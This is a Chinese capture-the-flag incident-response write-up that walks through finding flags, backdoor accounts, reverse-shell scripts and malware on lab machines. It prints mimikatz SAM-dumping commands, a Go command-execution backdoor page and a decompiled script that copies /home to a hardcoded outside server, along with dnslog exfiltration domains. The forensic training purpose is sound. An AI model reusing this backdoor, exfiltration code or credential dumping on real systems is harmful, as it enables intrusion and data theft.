帕鲁杯应急复现
畸形的爱
上次做了6题,现在接着做
暴力破解开始时间
由于前面那个有docker环境,我们查看docker启动的服务
发现phpmyadmin,这个最有可能被暴力破解
查看

所以flag是
palu{2025:03:05:58}
flag2
在flag1文件的最后有一串命令
1
2
3
4
5
|
<Actions Context="Author">
<Exec>
<Command>"C:\Program Files (x86)\Microsoft\a.bat"</Command>
</Exec>
</Actions>
|
查看a.bat
把他改成txt
1
2
3
|
@echo off
msg * "王美欣,你知道我有多爱你吗"
echo flag2palu{nizhidaowoyouduoainima}
|
flag3
sql这台机子root账号密码就是sql
进root后
用mysql连接数据库,byd密码不对
先无密码启动mysql
1
|
sudo mysqld_safe --skip-grant-tables --skip-networking &
|
1
2
3
|
UPDATE mysql.user SET authentication_string=PASSWORD('root') WHERE User='root';
FLUSH PRIVILEGES;
EXIT;
|
1
2
3
|
show databases;
show tables;
select * from orders;
|
得到一串base64,然后解码得到flag
攻击者开放端口3个
第一个就是之前查看那个ip2的时候找到的
clean.sh里面开放了1133端口
接下来我们查看定时任务
发现tmp目录下有个r.sh
查看
发现反弹shell命令,开放1144端口
接下来z在那台win10用netstat查看开放端口
隐藏账户的密码
可以直接传d盾到那台win10上面扫,能扫到后门用户
win10还可以用命令查看
但是只看到前面的两个正常账号
用powershell
发现了后门用户

system$
然后用mimikatz跑hash
1
2
|
reg save hklm\sam sam.save
reg save hklm\system system.save
|
然后在 mimikatz 中执行:
1
2
|
privilege::debug
Isadump::sam /sam:sam.save /system:system.save
|
然后去MD5解密
[溯源]flag4
把那个钓鱼的exe拖到ida里面分析,发现黑客的id:n0k4u
去github上找,他的项目里面有一个qq号
搜索得到flag
[溯源]攻击者的邮箱
因为知道id就可以知道邮箱
1
|
https://api.github.com/users/<name>/events/public
|
访问
1
|
https://api.github.com/users/n0k4u/events/public
|
得到邮箱
应急主线
solar_Linux后门排查
1
2
3
4
5
6
7
|
题目描述
跳板机疑似被遗留后门,请排查
1、找到可疑进程完整路径
2、找到被横向的服务器IP
3、连接被横向服务器
flag格式为 flag{base64{完整路径}|服务器IP|服务器中flag文本}
root:Solar@2025_05_palu!
|
ss看到恶意ip,看到pid为11
ip为49.232.112.164:22

查看进程
完整路径为usr/lib/systemd/systemd-login

接着ssh连接这个
要root密码,这下是Solar@2025_05_palu!了,换xshell连
连上直接cat flag

应急响应2-1
提交堡垒机中留下的flag
或者直接用链接登入

1
|
palu{2025_qiandao_flag}
|
应急响应2-2
提交WAF中隐藏的flag
同样登入waf
1
|
https://192.168.20.102:9443/
|
在身份认证找到flag
应急响应2-3
提交Mysql中留下的flag
直接navicat连接,找到flag
应急响应2-4
提交攻击者的攻击IP
waf雷池查看不是给的拓扑图里面的ip
应急响应2-5
提交攻攻击者最早攻击时间flag格式为palu{xxxx-xx-xx-xx:xx:xx}
刚刚看雷池已经看到了
1
|
palu{2025-05-05-00:04:40}
|
应急响应2-6
提交web服务泄露的关键文件名
前面发现那个机子直接用虚拟机看很多条看不到,直接换xshell连了
查看服务

发现nginx服务,查看他的日志
/var/log
下面没有nginx
全局找

直接看第一个,有个safeline
查看发现一堆日志

应急响应2-7
提交泄露的邮箱地址作为flag进行提交
访问key.txt
1
|
palu{parloo@parloo.com}
|
应急响应2-8
提交立足点服务器ip地址
前下看雷池的时候发现的本机的服务器来攻击了,很可疑
应急响应2-9
提交攻击者使用的提权用户密码,flag格式为:palu{username/password}
由于前面那题知道立足点服务器了,我们可以直接去192.168.20.108对应的服务器查看,也就是 sshServer 这台机子,然后查看
得到parloo/parloo
应急响应2-10
提交攻击者留下的的文件内容作为flag提交
这个想到进攻击者留下的账号目录里面看

1
|
palu{hi_2025_parloo_is_hack}
|
应急响应2-11
提交权限维持方法服务的名称
一般是木马,我们直接查看服务器外联地址
或者看恶意进程

发现恶意进程b4b4那个
ps查看他在哪个路径

这里知道了执行恶意进程的用户pid
可以查看他执行的system服务

至于他这个程序,其实执行了Restart=always
应急响应2-12
提交攻击者攻击恶意服务器连接地址作为flag提交
这个就是上面找到的那个外联地址
应急响应2-13
找到系统中被劫持的程序程序名作为flag提交
1
|
ls -alh /usr/bin /bin /usr/sbin /sbin | grep -vE 'root | staff |bin'
|
查看不属于root的程序,
- /bin 基础命令
ls
,cp
- /usr/bin 扩展命令
vim
,python
- /sbin 系统管理命令
ifconfig
,reboot
- /usr/sbin 更多管理命令
sshd
,apache
或者
找到
应急响应2-14
找到系统中存在信息泄露的服务运行端口作为flag提交
这里查看server01,然后探测别的端口
fscan扫描

80端口是重要通知

这里其实可以解决前面提权密码的问题
然后8081端口也很可疑

应急响应2-15
提交Parloo公司项目经理的身份证号作为flag提交
同上可以拿到
1
|
palu{310105198512123456}
|
应急响应2-16
提交存在危险功能的操作系统路径作为flag提交。flag格式为palu{/xxx/xxx}
扫端口的时候一定也要开mysql那台机子,不然这题扫不到了

多了一个3000端口,git服务可能会泄露

进仓库有个mian.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
|
package main
import (
"context"
"fmt"
"html/template"
"log"
"net"
"net/http"
"os"
"os/exec"
"strings"
"time"
)
type Command struct {
Input string
Output string
ExecTime float64
}
// 日志记录结构
type CommandLog struct {
Timestamp time.Time
IP string
Command string
Output string
ExecTime float64
Error string
}
var logChan = make(chan CommandLog, 100) // 日志通道用于异步记录
func main() {
// 启动日志处理协程
go handleLogs()
tmpl := template.Must(template.New("index").Parse(htmlTemplate))
http.HandleFunc("/admin/parloo", func(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
tmpl.Execute(w, nil)
return
}
// 获取客户端IP
clientIP := getClientIP(r)
// 处理POST请求
cmdInput := r.FormValue("cmd")
if cmdInput == "" {
http.Error(w, "Command cannot be empty", http.StatusBadRequest)
return
}
// 创建带有超时的context
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
start := time.Now()
cmd := exec.CommandContext(ctx, "/bin/sh", "-c", cmdInput)
//cmd := exec.CommandContext(ctx, "cmd.exe", "/c", cmdInput)
stdout, err := cmd.CombinedOutput()
execTime := time.Since(start).Seconds()
result := Command{
Input: cmdInput,
Output: string(stdout),
ExecTime: execTime,
}
if err != nil {
result.Output += "\n" + err.Error()
}
// 发送日志到通道
logChan <- CommandLog{
Timestamp: time.Now(),
IP: clientIP,
Command: cmdInput,
Output: string(stdout),
ExecTime: execTime,
Error: fmt.Sprintf("%v", err),
}
tmpl.Execute(w, result)
})
fmt.Println("Server running on :8080")
http.ListenAndServe(":8080", nil)
}
// 获取客户端真实IP
func getClientIP(r *http.Request) string {
// 处理代理情况
if ip := r.Header.Get("X-Forwarded-For"); ip != "" {
return strings.Split(ip, ",")[0]
}
if ip := r.Header.Get("X-Real-IP"); ip != "" {
return ip
}
ip, _, _ := net.SplitHostPort(r.RemoteAddr)
return ip
}
// 异步处理日志
func handleLogs() {
// 确保日志文件存在
f, err := os.OpenFile("command.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatal(err)
}
defer f.Close()
for logEntry := range logChan {
// 格式化日志条目
logLine := fmt.Sprintf(
"[%s] IP: %-15s | Command: %-20s | ExecTime: %.4fs | Error: %-10v | Output: %s\n",
logEntry.Timestamp.Format("2006-01-02 15:04:05"),
logEntry.IP,
strings.TrimSpace(logEntry.Command),
logEntry.ExecTime,
logEntry.Error,
strings.TrimSpace(logEntry.Output),
)
// 同时输出到控制台和文件
log.Print(logLine)
if _, err := f.WriteString(logLine); err != nil {
log.Printf("Failed to write log: %v", err)
}
}
}
// ... 保持原有的 htmlTemplate 不变 ...
const htmlTemplate = `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>parloo服务器维护页面</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background: #1a1a1a;
color: #ffffff;
min-height: 100vh;
}
.container {
padding-top: 2rem;
}
.terminal {
background: #000;
border-radius: 5px;
padding: 1rem;
margin-top: 1rem;
font-family: monospace;
white-space: pre-wrap;
}
.form-control {
background: #333;
color: #fff;
border: 1px solid #444;
}
</style>
</head>
<body>
<div class="container">
<h1 class="text-center mb-4">parloo服务器维护页面</h1>
<form method="POST">
<div class="input-group mb-3">
<input type="text" class="form-control" name="cmd" placeholder="Enter command..." required>
<button class="btn btn-danger" type="submit">Execute</button>
</div>
</form>
{{if .Input}}
<div class="result">
<h5>Command: <code>{{.Input}}</code></h5>
<h5>Execution Time: {{.ExecTime}}s</h5>
<div class="terminal">
{{.Output}}
</div>
</div>
{{end}}
</div>
</body>
</html>
`
|
其中这里
1
2
3
4
5
|
http.HandleFunc("/admin/parloo", func(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
tmpl.Execute(w, nil)
return
}
|
应急响应2-17
提交进源机器中恶意程序的MD5作为flag进行提交。 flag格式为palu{MD5小写}
官方给的pdf里面写了palu03这台机是近源机器
刚登上去就有一个程序svhost.exe未响应,非常可疑
里面可以远程桌面,我们可以上传everything进去找

1
|
certutil -hashfile svhost.exe MD5
|

1
|
palu{0f80a82621b8c4c3303d198d13776b34}
|
应急响应2-18
提交攻击者留下的恶意账户名称md5后作为flag进行提交。 格式为palu{md5{xxxxx}}
前下就能看到有个恶意账号叫hack
1
|
palu{d78b6f30225cdc811adfe8d4e7c9fd34}
|
应急响应2-19
提交内部群中留下的flag并提交
点开内网通查看聊天记录得到flag
应急响应2-20
请提交攻击者使用维护页面获取到的敏感内容作为flag进行提交
前下在server01那台机子上面找到危险功能,我们用xshell连接那台
回头看前面的mian.go
1
|
f, err := os.OpenFile("command.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
进机子搜索command.log

找到三个
cat第三个,可以查看到执行的命令记录

这里有个cat flag命令
1
|
palu{Server_Parloo_2025}
|
应急响应2-21
提交获取敏感内容IP的第一次执行命令时间作为flag进行提交。flag格式为palu{xxxx-xx-xx:xx:xx:xx}
翻到最上面就行了
1
|
palu{2025-05-04:15:30:38}
|
应急响应2-22
提交攻击者使用的恶意ip和端口flag格式为palu{xx.xx.xx.xx:xxxx}
上面catflag完后执行了反弹shell命令
应急响应2-23
提交重要数据的明文内容作为flag提交
前面palu03机子的桌面就有一个密文,直接提交不对看来是被加密了
1
|
c3alc3c13e326020c3919093e1260525045e
|
这个需要爆破
首先先去前面那个git仓库登入hack的账号
但是密码未知,但是mysql服务启动了我们可以去查询,navicat连接

user表里面有hack的密码,由于hash不知道,我们新建一个账号替换他的密码
不仅要改密码还要改salt值
登入进来有个encode.py
1
2
3
4
5
6
7
8
9
10
11
12
|
def custom_encrypt(text, key):
encrypted = []
key_bytes = [ord(c) for c in key]
for i, char in enumerate(text):
shifted = ord(char) + (i % 5 + 1)
xor_key = key_bytes[i % len(key_bytes)]
xored = shifted ^ xor_key
substituted = ((xored & 0x0F) << 4) | ((xored & 0xF0) >> 4)
encrypted.append(f"{substituted:02x}")
return "".join(encrypted)
|
需要key,这里由于flag格式是palu{开头的,所以爆破密钥,最后推出key为MySecretKey
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
def custom_decrypt(ciphertext, key):
decrypted = []
key_bytes = [ord(c) for c in key]
for i in range(0, len(ciphertext), 2):
hex_byte = ciphertext[i:i+2]
substituted = int(hex_byte, 16)
xored = ((substituted & 0x0F) << 4) | ((substituted & 0xF0) >> 4)
xor_key = key_bytes[(i // 2) % len(key_bytes)]
shifted = xored ^ xor_key
original_char_code = shifted - ((i // 2) % 5 + 1)
decrypted.append(chr(original_char_code))
return ''.join(decrypted)
key = "MySecretKey"
ciphertext = "c3a1c3c13e326020c3919093e1260525045e"
plaintext = custom_decrypt(ciphertext, key)
print(plaintext)
|

应急响应2-24
提交恶意维权软件的名称作为flag进行提交
应急响应2-25
提交恶意程序的外联地址
由于定位了黑客攻击时间段,我们用everthing查看5月4日到5月14日的东西
发现ipconfig.exe
看图标是python写的,我们直接python反编译一下
先把exe反编译成pyc文件

然后把pyc反编译为py文件
python反编译 - 在线工具
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8
import os
import paramiko
from scp import SCPClient
from pathlib import Path
def create_ssh_client(server, port, username, password, key_path = (None, None)):
'''
创建SSH客户端连接
'''
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# WARNING: Decompyle incomplete
def transfer_directory(scp, local_path, remote_path):
'''
递归传输目录
'''
for item in os.listdir(local_path):
local_item = os.path.join(local_path, item)
if os.path.islink(local_item):
print(f'''跳过符号链接: {local_item}''')
continue
remote_item = os.path.join(remote_path, item)
if os.path.isdir(local_item):
try:
scp.mkdir(remote_item)
finally:
pass
transfer_directory(scp, local_item, remote_item)
continue
print(f'''传输文件中: {local_item}''')
scp.put(local_item, remote_item)
continue
return None
def main():
ssh_config = {
'server': '88.173.90.103',
'port': 22,
'username': 'ubuntu',
'password': 'OOWPWPWADADA' }
local_home = '/home'
remote_base = '/home/ubuntu/backup_home'
# WARNING: Decompyle incomplete
if __name__ == '__main__':
main()
|
应急响应2-26
提交攻击这使用的恶意dnslog域名作为flag进行提交
这个在之前的cat flag那题下面就有,好几个
1
2
3
|
https://zdcg1o9v.requestrepo.com/
w0tynrqr.requestrepo.com
np85qqde.requestrepo.com
|

但是可以看到当最后一个dns域名执行whoami命令之后黑客反弹shell成功了
1
|
palu{np85qqde.requestrepo.com}
|
应急响应2-27
提交寻找反序列化漏洞的端口作为flag进行提交
前面fscan扫到高危漏洞9999端口
应急响应2-28
提交web服务泄露的密钥作为flag进行提交
前面这个fscan并没有扫出反序列化漏洞,换afrog扫出shiro和heapdump泄露

先把heapdump下下来
然后用jdumpspider分析文件中的敏感信息

这里就跑出来key了
1
|
palu{QZYysgMYhG6/CzIJlVpR2g==}
|
应急响应2-29
提交攻击者开始攻击的时间作为flag进行提交。flag各式为palu{xxxx/xx/xx:xx:xx:xx}
进雷池waf查看

1
|
palu{2025/05/13:16:45:19}
|
应急响应2-30
提交攻击者在server中留下的账户密码作为flag进行提交。flag格式为palu{username/password}
server这台机看/etc/shadow

用john爆破密码,把密码保存到1.txt
1
|
$y$j9T$RlIs4rqy6D2PI46ntcuwZ0$WFD6WgX3XC4zp/5Y.Jq9yLcfhHK5Rdg6IeDq2Rrl791
|
1
|
john --format=crypt 1.txt
|

1
|
palu{parloohack/123456}
|
应急响应2-31
提交攻击者维权方法的名称作为flag进行提交
换成parloohack账号,去他的目录下查看看到aa文件

查看历史命令

启动了那个服务
1
|
palu{parloohack_script.service}
|
应急响应2-32
提交攻击者留下的木马md5后作为flag进行提交
木马只可能是那个aa,历史命令执行了md5sum
直接算出来
1
|
palu{4123940b3911556d4bf79196cc008bf4}
|
应急响应2-33
提交攻击者留下的溯源信息作为flag进行提交
这里又要回到办公pc上面查看,这里是在palu02这台机子上有谷歌浏览器

在密码管理里面找到了
应急响应2-34
提交攻击者的githubID作为flag进行提交
841366067这个qq号,去看空间就能找到githubid
应急响应2-35
提交攻击者在github下留下的的内容作为flag进行提交

应急响应2-36
提交恶意用户的数量作为flag进行提交
登入palu01这台机的时候看到一堆palu
应急响应2-37
提交恶意用户的默认密码作为flag进行提交
根据前面爆破的我们猜是123456
应急响应2-38
提交业务数据中攻击者留下的信息作为flag进行提交
之前数据库查看的flag还没用
应急响应2-39
提交私人git仓库中留下的内容作为flag进行提交
同样操作把admin密码改了登入进去

1
|
cGFsdXtGTzY1U3J1dVR1a2RwQlM1fQ==
|
应急响应2-40
提交存在在mysql服务器中的恶意程序的MD5作为flag进行提交
还是查看history
发现.a文件

find命令找到它在root目录下面
然后md5sum
1
|
palu{ba7c9fc1ff58b48d0df5c88d2fcc5cd1}
|
应急响应2-41
提交恶意程序中模拟c2通信的函数名称作为flag进行提交
拿到ida里面分析

1
|
palu{simulate_network_communication}
|
应急响应2-42
提交恶意程序创建隐藏文件的名称作为flag提交
ida上面有个hidden_file函数
双击跳转

应急响应2-43
提交恶意程序中模拟权限提升的函数作为flag进行提交
1
|
palu{simulate_privilege_escalation}
|
应急响应2-44
提交被钓鱼上线的用户名作为flag进行提交
查看内网通

沉沉给子怡发了一个exe
应急响应2-45
提交恶意程序的所在路径作为flag进行提交
1
|
palu{C:\Users\Public\Nwt\cache\recv\Parloo-沉沉}
|
应急响应2-46
分析恶意程序的反连地址作为flag进行提交
这个就是之前浏览器记录的那个反连地址
应急响应2-47
提交恶意c2的服务器登录的账号密码作为flag进行提交。flag格式为palu{username/password}
这个前下也在浏览器密码管理里面看到了
